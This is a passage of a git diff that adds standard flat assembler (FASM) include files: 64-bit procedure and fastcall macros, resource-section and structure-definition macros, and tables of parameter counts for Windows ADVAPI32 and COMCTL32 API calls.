xmm3 + if size@param = 4 + if param eqtype byte 0 | param eqtype byte 0f + mov eax,param + movd xmm3,eax + else + movd xmm3,param + end if + else + if param eqtype 0 | param eqtype 0f | param eqtype byte 0 | param eqtype byte 0f + mov rax,param + movq xmm3,rax + else + movq xmm3,param + end if + end if + end if + if vararg@fastcall & ~ param eq r9 + movq r9,xmm3 + end if + else if type@param eq addr + if ~ param eq r9 + lea r9,[param] + end if + else if size@param = 8 + if ~ param eq r9 + mov r9,param + end if + else if size@param = 4 + if ~ param eq r9d + mov r9d,param + end if + else if size@param = 2 + if ~ param eq r9w + mov r9w,param + end if + else if size@param = 1 + if ~ param eq r9b + mov r9b,param + end if + end if + else + if type@param eq addr + lea rax,[param] + mov [rsp+(counter-1)*8],rax + else if param eqtype [0] | param eqtype byte [0] + if size@param = 8 + mov rax,param + mov [rsp+(counter-1)*8],rax + else if size@param = 4 + mov eax,param + mov [rsp+(counter-1)*8],eax + else if size@param = 2 + mov ax,param + mov [rsp+(counter-1)*8],ax + else + mov al,param + mov [rsp+(counter-1)*8],al + end if + else if size@param = 8 + virtual + origin = $ + mov rax,param + load opcode byte from origin+1 + end virtual + if opcode = 0B8h + mov rax,param + mov [rsp+(counter-1)*8],rax + else + mov qword [rsp+(counter-1)*8],param + end if + else if param in + movq [rsp+(counter-1)*8],param + else + mov [rsp+(counter-1)*8],param + end if + end if \} + common + argscount = counter + call proc + if stackspace & ~defined current@frame + add rsp,stackspace + end if } + +macro proc [args] + { common + match name params, args> + \{ define@proc name, \{ prologue name,flag,parmbytes,localbytes,reglist \} + virtual at parmbase@proc + match =,args, params \{ defargs@proc args \} + match =args@proc args, args@proc params \{ defargs@proc args \} + parmbytes = $-(parmbase@proc) + end virtual + name # % = parmbytes/8 + all@vars equ + current = 0 + macro locals + \{ virtual at localbase@proc+current + macro label def \\{ match . type,def> \\\{ deflocal@proc .,label, \\\{ epilogue name,flag,parmbytes,localbytes,reglist \\\} \\} \} + macro finish@proc + \{ localbytes = current + match close:reglist, close@proc: \\{ close name,flag,parmbytes,localbytes,reglist \\} + end if \} } + +macro defargs@proc [arg] + { common + if ~ arg eq + forward + local ..arg,current@arg + match argname:type, arg + \{ current@arg equ argname + label ..arg type + argname equ ..arg + if qqword eq type + dq ?,?,?,? + else if dqword eq type + dq ?,? + else if tbyte eq type + dq ?,? + else + dq ? + end if \} + match =current@arg,current@arg + \{ current@arg equ arg + arg equ ..arg + ..arg dq ? \} + common + args@proc equ current@arg + forward + restore current@arg + common + end if } + +macro deflocal@proc name,def,[val] { name def val } + +macro deflocal@proc name,def,[val] + { common + match vars, all@vars \{ all@vars equ all@vars, \} + all@vars equ all@vars name + forward + local ..var,..tmp + ..var def val + match =?, val \{ ..tmp equ \} + match any =?, val \{ ..tmp equ \} + match any (=?), val \{ ..tmp equ \} + match =label, def \{ ..tmp equ \} + match tmp : value, ..tmp : val + \{ tmp: end virtual + initlocal@proc ..var,def value + virtual at tmp\} + common + match first rest, ..var, \{ name equ first \} } + +struc label type { label . type } + +macro initlocal@proc name,def + { virtual at name + def + size@initlocal = $ - name + end virtual + position@initlocal = 0 + while size@initlocal > position@initlocal + virtual at name + def + if size@initlocal - position@initlocal < 2 + current@initlocal = 1 + load byte@initlocal byte from name+position@initlocal + else if size@initlocal - position@initlocal < 4 + current@initlocal = 2 + load word@initlocal word from name+position@initlocal + else if size@initlocal - position@initlocal < 8 + current@initlocal = 4 + load dword@initlocal dword from name+position@initlocal + else + load qword@initlocal qword from name+position@initlocal + if ( qword@initlocal > 0 & qword@initlocal < 80000000h ) | ( qword@initlocal < 0 & qword@initlocal >= -80000000h ) + current@initlocal = 8 + else + current@initlocal = 4 + dword@initlocal = qword@initlocal and 0FFFFFFFFh + end if + end if + end virtual + if current@initlocal = 1 + mov byte [name+position@initlocal],byte@initlocal + else if current@initlocal = 2 + mov word [name+position@initlocal],word@initlocal + else if current@initlocal = 4 + mov dword [name+position@initlocal],dword@initlocal + else + mov qword [name+position@initlocal],qword@initlocal + end if + position@initlocal = position@initlocal + current@initlocal + end while } + +macro endp + { purge ret,locals,endl + finish@proc + purge finish@proc + restore regs@proc + match all,args@proc \{ restore all \} + restore args@proc + match all,all@vars \{ restore all \} } + +macro local [var] + { common + locals + forward done@local equ + match varname[count]:vartype, var + \{ match =BYTE, vartype \\{ varname rb count + restore done@local \\} + match =WORD, vartype \\{ varname rw count + restore done@local \\} + match =DWORD, vartype \\{ varname rd count + restore done@local \\} + match =PWORD, vartype \\{ varname rp count + restore done@local \\} + match =QWORD, vartype \\{ varname rq count + restore done@local \\} + match =TBYTE, vartype \\{ varname rt count + restore done@local \\} + match =DQWORD, vartype \\{ label varname dqword + rq count*2 + restore done@local \\} + match =QQWORD, vartype \\{ label varname qqword + rq count*4 + restore done@local \\} + match =XWORD, vartype \\{ label varname xword + rq count*2 + restore done@local \\} + match =YWORD, vartype \\{ label varname yword + rq count*4 + restore done@local \\} + match , done@local \\{ virtual + varname vartype + end virtual + rb count*sizeof.\#vartype + restore done@local \\} \} + match :varname:vartype, done@local:var + \{ match =BYTE, vartype \\{ varname db ? + restore done@local \\} + match =WORD, vartype \\{ varname dw ? + restore done@local \\} + match =DWORD, vartype \\{ varname dd ? + restore done@local \\} + match =PWORD, vartype \\{ varname dp ? + restore done@local \\} + match =QWORD, vartype \\{ varname dq ? + restore done@local \\} + match =TBYTE, vartype \\{ varname dt ? + restore done@local \\} + match =DQWORD, vartype \\{ label varname dqword + dq ?,? + restore done@local \\} + match =QQWORD, vartype \\{ label varname qqword + dq ?,?,?,? + restore done@local \\} + match =XWORD, vartype \\{ label varname xword + dq ?,? + restore done@local \\} + match =YWORD, vartype \\{ label varname yword + dq ?,?,?,? + restore done@local \\} + match , done@local \\{ varname vartype + restore done@local \\} \} + match ,done@local + \{ var + restore done@local \} + common + endl } + +macro frame + { local size,current + if size + sub rsp,size + end if + current = 0 + current@frame equ current + size@frame equ size } + +macro endf + { size@frame = current@frame + if size@frame + add rsp,size@frame + end if + restore size@frame,current@frame } + +macro static_rsp_prologue procname,flag,parmbytes,localbytes,reglist + { local counter,loc,frame,current + counter = 0 + irps reg, reglist \{ push reg + counter = counter+1 \} + loc = (localbytes+7) and (not 7) + if frame & (counter+loc shr 3+1) and 1 + loc = loc + 8 + end if + framebytes@proc equ frame+loc + if framebytes@proc + sub rsp,framebytes@proc + end if + localbase@proc equ rsp+frame + regsbase@proc equ rsp+frame+loc + parmbase@proc equ rsp+frame+loc+counter*8+8 + current = 0 + current@frame equ current + size@frame equ frame } + +macro static_rsp_epilogue procname,flag,parmbytes,localbytes,reglist + { if framebytes@proc + add rsp,framebytes@proc + end if + irps reg, reglist \{ reverse pop reg \} + retn } + +macro static_rsp_close procname,flag,parmbytes,localbytes,reglist + { size@frame = current@frame + restore size@frame,current@frame } + +stdcall fix fastcall + +macro cinvoke proc,[arg] + { common ccall [proc],arg } + +macro ccall proc,[arg] + { common vararg@fastcall = 1 + fastcall proc,arg + vararg@fastcall = 0 } + +vararg@fastcall = 0 \ No newline at end of file diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/RESOURCE.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/RESOURCE.INC new file mode 100755 index 0000000..e92528d --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/RESOURCE.INC @@ -0,0 +1,334 @@ + +; Macroinstructions for making resource section + +macro directory [type,label] + { common + local max,count + count = 0 + max = 0 + forward + count = count + 1 + if type > max + max = type + end if + common + root@resource dd 0,%t,0,count shl 16 + repeat max + forward + if % = type + dd type,80000000h+label-root@resource + end if + common + end repeat } + +macro resource dir,[id,lang,label] + { common + dir: + local min,max,count,current + forward + min = id + max = id + common + count = 0 + forward + count = count + 1 + if id < min + min = id + else if id > max + max = id + end if + common + dd 0,%t,0,count shl 16 + repeat max-min+1 + current = $ + forward + if min+%-1 = id + if current = $ + dd id,80000000h+label#.directory-root@resource + end if + end if + common + end repeat + repeat max-min+1 + current = $ + forward + if min+%-1 = id + if current = $ + label#.directory dd 0,%t,0,10000h,lang,label-root@resource + count = 1 + else + dd lang,label-root@resource + count = count + 1 + end if + end if + label#.resid = id + common + local x,y,z,v1,v2 + if count > 1 + store word count at current+0Eh + x = count shr 1 + while x > 0 + y = x + while y < count + z = y + while z-x >= 0 + load v1 dword from current+10h+z*8 + load v2 dword from current+10h+(z-x)*8 + if v1 0 + dw 0FFFFh + end if + du menu+0,0,title,0 + if fontname eq + du 8,'MS Sans Serif',0 + else + du fontsize+0,fontname,0 + end if + align 4 + dialog_size equ size = $ - data + dialog_items equ items = dialog_items_counter + dialog_items_counter = 0 } + +macro dialogitem class,title,id,x,y,cx,cy,style,exstyle + { dd style or WS_CHILD,exstyle +0 + dw x,y,cx,cy,id + if class eq 'BUTTON' + dw 0FFFFh,80h + else if class eq 'EDIT' + dw 0FFFFh,81h + else if class eq 'STATIC' + dw 0FFFFh,82h + else if class eq 'LISTBOX' + dw 0FFFFh,83h + else if class eq 'SCROLLBAR' + dw 0FFFFh,84h + else if class eq 'COMBOBOX' + dw 0FFFFh,85h + else + du class,0 + end if + if title eqtype 0 + dw 0FFFFh,title + else + du title,0 + end if + dw 0 + align 4 + dialog_items_counter = dialog_items_counter + 1 } + +macro enddialog + { dialog_items + dialog_size } + +macro accelerator label,[fvirt,key,cmd] + { common + local data,size + label dd RVA data,size,0,0 + data: + accel_count = 0 + forward + accel_count = accel_count + 1 + common + size = accel_count * 8 + forward + accel_count = accel_count - 1 + if accel_count = 0 + dw fvirt or 80h,key + else + dw fvirt,key + end if + dd cmd } + +macro versioninfo label,fileos,filetype,filesubtype,lang,cp,[name,value] + { common + local data,size,vivalue,visize + label dd RVA data,size,0,0 + data dw size,visize,0 + du 'VS_VERSION_INFO',0,0 + vivalue dd 0FEEF04BDh,00010000h + local version,count,shift,char,filever,productver + filever = 0 + productver = 0 + forward + if name eq 'FileVersion' | name eq 'ProductVersion' + virtual at 0 + db value + count = $ + version = 0 + shift = 16 + repeat count + load char from %-1 + if char='.' + if shift mod 32 + shift = shift-16 + else + shift = shift+32+16 + end if + else + version = (version and not (0FFFFh shl shift)) or ((version shr shift and 0FFFFh)*10+char-'0') shl shift + end if + end repeat + end virtual + if name eq 'FileVersion' + filever = version + else if name eq 'ProductVersion' + productver = version + end if + end if + common + dq filever,productver + dd 0,0,fileos,filetype+0,filesubtype+0,0,0 + visize = $ - vivalue + local sfi_data,sfi_size + sfi_data dd sfi_size + du 1,'StringFileInfo',0 + local str_data,str_size + str_data dd str_size + du 1,'040904E4',0 + forward + local vs_data,vs_size,value_data,value_size + align 4 + vs_data dw vs_size,value_size/2 + du 1,name,0 + align 4 + value_data du value,0 + value_size = $ - value_data + vs_size = $ - vs_data + common + align 4 + str_size = $ - str_data + sfi_size = $ - sfi_data + local vfi_data,vfi_size,var_data,var_size + vfi_data dd vfi_size + du 1,'VarFileInfo',0,0 + var_data dw var_size,4 + du 0,'Translation',0,0 + dw lang,cp+0 + var_size = $ - var_data + vfi_size = $ - vfi_data + size = $ - data } + +macro resdata label +{ local data,size + label dd RVA data,size,0,0 + data = $ + ressize equ size = $ - data } + +macro endres +{ ressize + align 4 } diff --git a/binary/hyperion/source/Fasm/INCLUDE/MACRO/STRUCT.INC b/binary/hyperion/source/Fasm/INCLUDE/MACRO/STRUCT.INC new file mode 100755 index 0000000..aa5f99a --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/MACRO/STRUCT.INC @@ -0,0 +1,221 @@ + +; Macroinstructions for defining data structures + +macro struct name + { virtual at 0 + define @struct + field@struct equ name + match child parent, name \{ restore field@struct + field@struct equ child,fields@\#parent \} + sub@struct equ + struc db [val] \{ \common define field@struct .,db, \} + struc dw [val] \{ \common define field@struct .,dw, \} + struc du [val] \{ \common define field@struct .,du, \} + struc dd [val] \{ \common define field@struct .,dd, \} + struc dp [val] \{ \common define field@struct .,dp, \} + struc dq [val] \{ \common define field@struct .,dq, \} + struc dt [val] \{ \common define field@struct .,dt, \} + struc rb count \{ define field@struct .,db,count dup (?) \} + struc rw count \{ define field@struct .,dw,count dup (?) \} + struc rd count \{ define field@struct .,dd,count dup (?) \} + struc rp count \{ define field@struct .,dp,count dup (?) \} + struc rq count \{ define field@struct .,dq,count dup (?) \} + struc rt count \{ define field@struct .,dt,count dup (?) \} + macro db [val] \{ \common \local anonymous + define field@struct anonymous,db, \} + macro dw [val] \{ \common \local anonymous + define field@struct anonymous,dw, \} + macro du [val] \{ \common \local anonymous + define field@struct anonymous,du, \} + macro dd [val] \{ \common \local anonymous + define field@struct anonymous,dd, \} + macro dp [val] \{ \common \local anonymous + define field@struct anonymous,dp, \} + macro dq [val] \{ \common \local anonymous + define field@struct anonymous,dq, \} + macro dt [val] \{ \common \local anonymous + define field@struct anonymous,dt, \} + macro rb count \{ \local anonymous + define field@struct anonymous,db,count dup (?) \} + macro rw count \{ \local anonymous + define field@struct anonymous,dw,count dup (?) \} + macro rd count \{ \local anonymous + define field@struct anonymous,dd,count dup (?) \} + macro rp count \{ \local anonymous + define field@struct anonymous,dp,count dup (?) \} + macro rq count \{ \local anonymous + define field@struct anonymous,dq,count dup (?) \} + macro rt count \{ \local anonymous + define field@struct anonymous,dt,count dup (?) \} + macro union \{ field@struct equ ,union,< + sub@struct equ union \} + macro struct \{ field@struct equ ,substruct,< + sub@struct equ substruct \} } + +macro ends + { match , sub@struct \{ restruc db,dw,du,dd,dp,dq,dt + restruc rb,rw,rd,rp,rq,rt + purge db,dw,du,dd,dp,dq,dt + purge rb,rw,rd,rp,rq,rt + purge union,struct + irpv fields,field@struct \\{ restore field@struct + \\common define fields@struct fields \\} + match name tail,fields@struct, \\{ if $ + display 'Error: definition of ',\\`name,' contains illegal instructions.',0Dh,0Ah + err + end if \\} + match name=,fields,fields@struct \\{ restore @struct + make@struct name,fields + define fields@\\#name fields \\} + end virtual \} + match any, sub@struct \{ tmp@struct equ field@struct + restore field@struct + field@struct equ tmp@struct> \} + restore sub@struct } + +macro make@struct name,[field,type,def] + { common + local define + define equ name + forward + local sub + match , field \{ make@substruct type,name,sub def + define equ define,.,sub, \} + match any, field \{ define equ define,.#field,type, \} + common + match fields, define \{ define@struct fields \} } + +macro define@struct name,[field,type,def] + { common + virtual + db `name + load initial@struct byte from 0 + if initial@struct = '.' + display 'Error: name of structure should not begin with a dot.',0Dh,0Ah + err + end if + end virtual + local list + list equ + forward + if ~ field eq . + name#field type def + sizeof.#name#field = $ - name#field + else + label name#.#type + rb sizeof.#type + end if + local value + match any, list \{ list equ list, \} + list equ list + common + sizeof.#name = $ + restruc name + match values, list \{ + struc name value \\{ \\local \\..base + match , @struct \\\{ define field@struct .,name, \\\} + match no, @struct \\\{ label \\..base + forward + match , value \\\\{ field type def \\\\} + match any, value \\\\{ field type value + if ~ field eq . + rb sizeof.#name#field - ($-field) + end if \\\\} + common label . at \\..base \\\} + \\} + macro name value \\{ + match , @struct \\\{ \\\local anonymous + define field@struct anonymous,name, \\\} + match no, @struct \\\{ + forward + match , value \\\\{ type def \\\\} + match any, value \\\\{ \\\\local ..field + ..field = $ + type value + if ~ field eq . + rb sizeof.#name#field - ($-..field) + end if \\\\} + common \\\} \\} \} } + +macro enable@substruct + { macro make@substruct substruct,parent,name,[field,type,def] + \{ \common + \local define + define equ parent,name + \forward + \local sub + match , field \\{ match any, type \\\{ enable@substruct + make@substruct type,parent,sub def + purge make@substruct + define equ define,.,sub, \\\} \\} + match any, field \\{ define equ define,.\#field,type, \\} + \common + match fields, define \\{ define@\#substruct fields \\} \} } + +enable@substruct + +macro define@union parent,name,[field,type,def] + { common + virtual at parent#.#name + forward + if ~ field eq . + virtual at parent#.#name + parent#field type def + sizeof.#parent#field = $ - parent#field + end virtual + if sizeof.#parent#field > $ - parent#.#name + rb sizeof.#parent#field - ($ - parent#.#name) + end if + else + virtual at parent#.#name + label parent#.#type + type def + end virtual + label name#.#type at parent#.#name + if sizeof.#type > $ - parent#.#name + rb sizeof.#type - ($ - parent#.#name) + end if + end if + common + sizeof.#name = $ - parent#.#name + end virtual + struc name [value] \{ \common + label .\#name + last@union equ + forward + match any, last@union \\{ virtual at .\#name + field type def + end virtual \\} + match , last@union \\{ match , value \\\{ field type def \\\} + match any, value \\\{ field type value \\\} \\} + last@union equ field + common rb sizeof.#name - ($ - .\#name) \} + macro name [value] \{ \common \local ..anonymous + ..anonymous name value \} } + +macro define@substruct parent,name,[field,type,def] + { common + virtual at parent#.#name + forward + local value + if ~ field eq . + parent#field type def + sizeof.#parent#field = $ - parent#field + else + label parent#.#type + rb sizeof.#type + end if + common + sizeof.#name = $ - parent#.#name + end virtual + struc name value \{ + label .\#name + forward + match , value \\{ field type def \\} + match any, value \\{ field type value + if ~ field eq . + rb sizeof.#parent#field - ($-field) + end if \\} + common \} + macro name value \{ \local ..anonymous + ..anonymous name \} } diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/ADVAPI32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/ADVAPI32.INC new file mode 100755 index 0000000..bb15d91 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/ADVAPI32.INC @@ -0,0 +1,340 @@ + +; ADVAPI32 API calls parameters' count + +AbortSystemShutdown% = 1 +AccessCheck% = 8 +AccessCheckAndAuditAlarm% = 11 +AccessCheckByType% = 11 +AccessCheckByTypeAndAuditAlarm% = 16 +AccessCheckByTypeResultList% = 11 +AccessCheckByTypeResultListAndAuditAlarm% = 16 +AddAccessAllowedAce% = 4 +AddAccessAllowedAceEx% = 5 +AddAccessAllowedObjectAce% = 7 +AddAccessDeniedAce% = 4 +AddAccessDeniedAceEx% = 5 +AddAccessDeniedObjectAce% = 7 +AddAce% = 5 +AddAuditAccessAce% = 6 +AddAuditAccessAceEx% = 7 +AddAuditAccessObjectAce% = 9 +AdjustTokenGroups% = 6 +AdjustTokenPrivileges% = 6 +AllocateAndInitializeSid% = 11 +AllocateLocallyUniqueId% = 1 +AreAllAccessesGranted% = 2 +AreAnyAccessesGranted% = 2 +BackupEventLog% = 2 +BuildExplicitAccessWithName% = 5 +BuildImpersonateExplicitAccessWithName% = 6 +BuildImpersonateTrustee% = 2 +BuildSecurityDescriptor% = 9 +BuildTrusteeWithName% = 2 +BuildTrusteeWithSid% = 2 +CancelOverlappedAccess% = 1 +ChangeServiceConfig2% = 3 +ChangeServiceConfig% = 11 +ClearEventLog% = 2 +CloseEventLog% = 1 +CloseRaw% = 1 +CloseServiceHandle% = 1 +ControlService% = 3 +ConvertAccessToSecurityDescriptor% = 5 +ConvertSecurityDescriptorToAccess% = 7 +ConvertSecurityDescriptorToAccessNamed% = 7 +ConvertToAutoInheritPrivateObjectSecurity% = 6 +CopySid% = 3 +CreatePrivateObjectSecurity% = 6 +CreatePrivateObjectSecurityEx% = 8 +CreateProcessAsUser% = 11 +CreateRestrictedToken% = 9 +CreateService% = 13 +CryptAcquireContext% = 5 +CryptContextAddRef% = 3 +CryptCreateHash% = 5 +CryptDecrypt% = 6 +CryptDeriveKey% = 5 +CryptDestroyHash% = 1 +CryptDestroyKey% = 1 +CryptDuplicateHash% = 4 +CryptDuplicateKey% = 4 +CryptEncrypt% = 7 +CryptEnumProviderTypes% = 6 +CryptEnumProviders% = 6 +CryptExportKey% = 6 +CryptGenKey% = 4 +CryptGenRandom% = 3 +CryptGetDefaultProvider% = 5 +CryptGetHashParam% = 5 +CryptGetKeyParam% = 5 +CryptGetProvParam% = 5 +CryptGetUserKey% = 3 +CryptHashData% = 4 +CryptHashSessionKey% = 3 +CryptImportKey% = 6 +CryptReleaseContext% = 2 +CryptSetHashParam% = 4 +CryptSetKeyParam% = 4 +CryptSetProvParam% = 4 +CryptSetProvider% = 2 +CryptSetProviderEx% = 4 +CryptSignHash% = 6 +CryptVerifySignature% = 6 +DecryptFile% = 2 +DeleteAce% = 2 +DeleteService% = 1 +DeregisterEventSource% = 1 +DestroyPrivateObjectSecurity% = 1 +DuplicateToken% = 3 +DuplicateTokenEx% = 6 +ElfBackupEventLogFile% = 2 +ElfChangeNotify% = 2 +ElfClearEventLogFile% = 2 +ElfCloseEventLog% = 1 +ElfDeregisterEventSource% = 1 +ElfNumberOfRecords% = 2 +ElfOldestRecord% = 2 +ElfOpenBackupEventLog% = 3 +ElfOpenEventLog% = 3 +ElfReadEventLog% = 7 +ElfRegisterEventSource% = 3 +ElfReportEvent% = 12 +EncryptFile% = 1 +EnumDependentServices% = 6 +EnumServicesStatus% = 8 +EqualPrefixSid% = 2 +EqualSid% = 2 +FindFirstFreeAce% = 2 +FreeSid% = 1 +GetAccessPermissionsForObject% = 9 +GetAce% = 3 +GetAclInformation% = 4 +GetAuditedPermissionsFromAcl% = 4 +GetCurrentHwProfile% = 1 +GetEffectiveRightsFromAcl% = 3 +GetExplicitEntriesFromAcl% = 3 +GetFileSecurity% = 5 +GetKernelObjectSecurity% = 5 +GetLengthSid% = 1 +GetMultipleTrustee% = 1 +GetMultipleTrusteeOperation% = 1 +GetNamedSecurityInfo% = 8 +GetNamedSecurityInfoEx% = 9 +GetNumberOfEventLogRecords% = 2 +GetOldestEventLogRecord% = 2 +GetOverlappedAccessResults% = 4 +GetPrivateObjectSecurity% = 5 +GetSecurityDescriptorControl% = 3 +GetSecurityDescriptorDacl% = 4 +GetSecurityDescriptorGroup% = 3 +GetSecurityDescriptorLength% = 1 +GetSecurityDescriptorOwner% = 3 +GetSecurityDescriptorSacl% = 4 +GetSecurityInfo% = 8 +GetSecurityInfoEx% = 9 +GetServiceDisplayName% = 4 +GetServiceKeyName% = 4 +GetSidLengthRequired% = 1 +GetSidSubAuthority% = 2 +GetSidSubAuthorityCount% = 1 +GetTokenInformation% = 5 +GetTrusteeName% = 1 +GetTrusteeType% = 1 +GetUserName% = 2 +I_ScSetServiceBits% = 5 +ImpersonateLoggedOnUser% = 1 +ImpersonateNamedPipeClient% = 1 +ImpersonateSelf% = 1 +InitializeAcl% = 3 +InitializeSecurityDescriptor% = 2 +InitializeSid% = 3 +InitiateSystemShutdown% = 5 +IsTextUnicode% = 3 +IsTokenRestricted% = 1 +IsValidAcl% = 1 +IsValidSecurityDescriptor% = 1 +IsValidSid% = 1 +LockServiceDatabase% = 1 +LogonUser% = 6 +LookupAccountName% = 7 +LookupAccountSid% = 7 +LookupPrivilegeDisplayName% = 5 +LookupPrivilegeName% = 4 +LookupPrivilegeValue% = 3 +LookupSecurityDescriptorParts% = 7 +LsaAddAccountRights% = 4 +LsaAddPrivilegesToAccount% = 2 +LsaClearAuditLog% = 1 +LsaClose% = 1 +LsaCreateAccount% = 4 +LsaCreateSecret% = 4 +LsaCreateTrustedDomain% = 4 +LsaCreateTrustedDomainEx% = 5 +LsaDelete% = 1 +LsaDeleteTrustedDomain% = 2 +LsaEnumerateAccountRights% = 4 +LsaEnumerateAccounts% = 5 +LsaEnumerateAccountsWithUserRight% = 4 +LsaEnumeratePrivileges% = 5 +LsaEnumeratePrivilegesOfAccount% = 2 +LsaEnumerateTrustedDomains% = 5 +LsaEnumerateTrustedDomainsEx% = 6 +LsaFreeMemory% = 1 +LsaGetQuotasForAccount% = 2 +LsaGetSystemAccessAccount% = 2 +LsaGetUserName% = 2 +LsaICLookupNames% = 7 +LsaICLookupSids% = 7 +LsaIGetTrustedDomainAuthInfoBlobs% = 4 +LsaISetTrustedDomainAuthInfoBlobs% = 4 +LsaLookupNames% = 5 +LsaLookupPrivilegeDisplayName% = 4 +LsaLookupPrivilegeName% = 3 +LsaLookupPrivilegeValue% = 3 +LsaLookupSids% = 5 +LsaNtStatusToWinError% = 1 +LsaOpenAccount% = 4 +LsaOpenPolicy% = 4 +LsaOpenSecret% = 4 +LsaOpenTrustedDomain% = 4 +LsaQueryDomainInformationPolicy% = 3 +LsaQueryInfoTrustedDomain% = 3 +LsaQueryInformationPolicy% = 3 +LsaQueryLocalInformationPolicy% = 3 +LsaQuerySecret% = 5 +LsaQuerySecurityObject% = 3 +LsaQueryTrustedDomainInfo% = 4 +LsaQueryTrustedDomainInfoByName% = 4 +LsaRemoveAccountRights% = 5 +LsaRemovePrivilegesFromAccount% = 3 +LsaRetrievePrivateData% = 3 +LsaSetDomainInformationPolicy% = 3 +LsaSetInformationPolicy% = 3 +LsaSetInformationTrustedDomain% = 3 +LsaSetLocalInformationPolicy% = 3 +LsaSetQuotasForAccount% = 2 +LsaSetSecret% = 3 +LsaSetSecurityObject% = 3 +LsaSetSystemAccessAccount% = 2 +LsaSetTrustedDomainInfoByName% = 4 +LsaSetTrustedDomainInformation% = 4 +LsaStorePrivateData% = 3 +MakeAbsoluteSD% = 11 +MakeSelfRelativeSD% = 3 +MapGenericMask% = 2 +NotifyBootConfigStatus% = 1 +NotifyChangeEventLog% = 2 +ObjectCloseAuditAlarm% = 3 +ObjectDeleteAuditAlarm% = 3 +ObjectOpenAuditAlarm% = 12 +ObjectPrivilegeAuditAlarm% = 6 +OpenBackupEventLog% = 2 +OpenEventLog% = 2 +OpenProcessToken% = 3 +OpenRaw% = 3 +OpenSCManager% = 3 +OpenService% = 3 +OpenThreadToken% = 4 +PrivilegeCheck% = 3 +PrivilegedServiceAuditAlarm% = 5 +QueryRecoveryAgents% = 3 +QueryServiceConfig2% = 5 +QueryServiceConfig% = 4 +QueryServiceLockStatus% = 4 +QueryServiceObjectSecurity% = 5 +QueryServiceStatus% = 2 +QueryWindows31FilesMigration% = 1 +ReadEventLog% = 7 +ReadRaw% = 3 +RegCloseKey% = 1 +RegConnectRegistry% = 3 +RegCreateKey% = 3 +RegCreateKeyEx% = 9 +RegDeleteKey% = 2 +RegDeleteValue% = 2 +RegEnumKey% = 4 +RegEnumKeyEx% = 8 +RegEnumValue% = 8 +RegFlushKey% = 1 +RegGetKeySecurity% = 4 +RegLoadKey% = 3 +RegNotifyChangeKeyValue% = 5 +RegOpenKey% = 3 +RegOpenKeyEx% = 5 +RegOverridePredefKey% = 2 +RegQueryInfoKey% = 12 +RegQueryMultipleValues% = 5 +RegQueryValue% = 4 +RegQueryValueEx% = 6 +RegReplaceKey% = 4 +RegRestoreKey% = 3 +RegSaveKey% = 3 +RegSetKeySecurity% = 3 +RegSetValue% = 5 +RegSetValueEx% = 6 +RegUnLoadKey% = 2 +RegisterEventSource% = 2 +RegisterServiceCtrlHandler% = 2 +ReportEvent% = 9 +RevertToSelf% = 0 +SetAclInformation% = 4 +SetEntriesInAccessList% = 6 +SetEntriesInAcl% = 4 +SetEntriesInAuditList% = 6 +SetFileSecurity% = 3 +SetKernelObjectSecurity% = 3 +SetNamedSecurityInfo% = 7 +SetNamedSecurityInfoEx% = 9 +SetPrivateObjectSecurity% = 5 +SetPrivateObjectSecurityEx% = 6 +SetSecurityDescriptorControl% = 3 +SetSecurityDescriptorDacl% = 4 +SetSecurityDescriptorGroup% = 3 +SetSecurityDescriptorOwner% = 3 +SetSecurityDescriptorSacl% = 4 +SetSecurityInfo% = 7 +SetSecurityInfoEx% = 9 +SetServiceBits% = 4 +SetServiceObjectSecurity% = 3 +SetServiceStatus% = 2 +SetThreadToken% = 2 +SetTokenInformation% = 4 +StartService% = 3 +StartServiceCtrlDispatcher% = 1 +SynchronizeWindows31FilesAndWindowsNTRegistry% = 4 +SystemFunction001% = 3 +SystemFunction002% = 3 +SystemFunction003% = 2 +SystemFunction004% = 3 +SystemFunction005% = 3 +SystemFunction006% = 2 +SystemFunction007% = 2 +SystemFunction008% = 3 +SystemFunction009% = 3 +SystemFunction010% = 3 +SystemFunction011% = 3 +SystemFunction012% = 3 +SystemFunction013% = 3 +SystemFunction014% = 3 +SystemFunction015% = 3 +SystemFunction016% = 3 +SystemFunction017% = 3 +SystemFunction018% = 3 +SystemFunction019% = 3 +SystemFunction020% = 3 +SystemFunction021% = 3 +SystemFunction022% = 3 +SystemFunction023% = 3 +SystemFunction024% = 3 +SystemFunction025% = 3 +SystemFunction026% = 3 +SystemFunction027% = 3 +SystemFunction028% = 2 +SystemFunction029% = 2 +SystemFunction030% = 2 +SystemFunction031% = 2 +SystemFunction032% = 2 +SystemFunction033% = 2 +TrusteeAccessToObject% = 6 +UnlockServiceDatabase% = 1 +WriteRaw% = 3 diff --git a/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMCTL32.INC b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMCTL32.INC new file mode 100755 index 0000000..f6f8561 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/PCOUNT/COMCTL32.INC @@ -0,0 +1,69 @@ + +; COMCTL32 API calls parameters' count + +CreateMappedBitmap% = 5 +CreatePropertySheetPage% = 1 +CreateStatusWindow% = 4 +CreateToolbar% = 8 +CreateToolbarEx% = 13 +CreateUpDownControl% = 12 +DestroyPropertySheetPage% = 1 +DrawInsert% = 3 +DrawStatusText% = 4 +FlatSB_EnableScrollBar% = 3 +FlatSB_GetScrollInfo% = 3 +FlatSB_GetScrollPos% = 2 +FlatSB_GetScrollProp% = 3 +FlatSB_GetScrollRange% = 4 +FlatSB_SetScrollInfo% = 4 +FlatSB_SetScrollPos% = 4 +FlatSB_SetScrollProp% = 4 +FlatSB_SetScrollRange% = 5 +FlatSB_ShowScrollBar% = 3 +GetEffectiveClientRect% = 3 +ImageList_Add% = 3 +ImageList_AddIcon% = 2 +ImageList_AddMasked% = 3 +ImageList_BeginDrag% = 4 +ImageList_Copy% = 5 +ImageList_Create% = 5 +ImageList_Destroy% = 1 +ImageList_DragEnter% = 3 +ImageList_DragLeave% = 1 +ImageList_DragMove% = 2 +ImageList_DragShowNolock% = 1 +ImageList_Draw% = 6 +ImageList_DrawEx% = 10 +ImageList_DrawIndirect% = 1 +ImageList_Duplicate% = 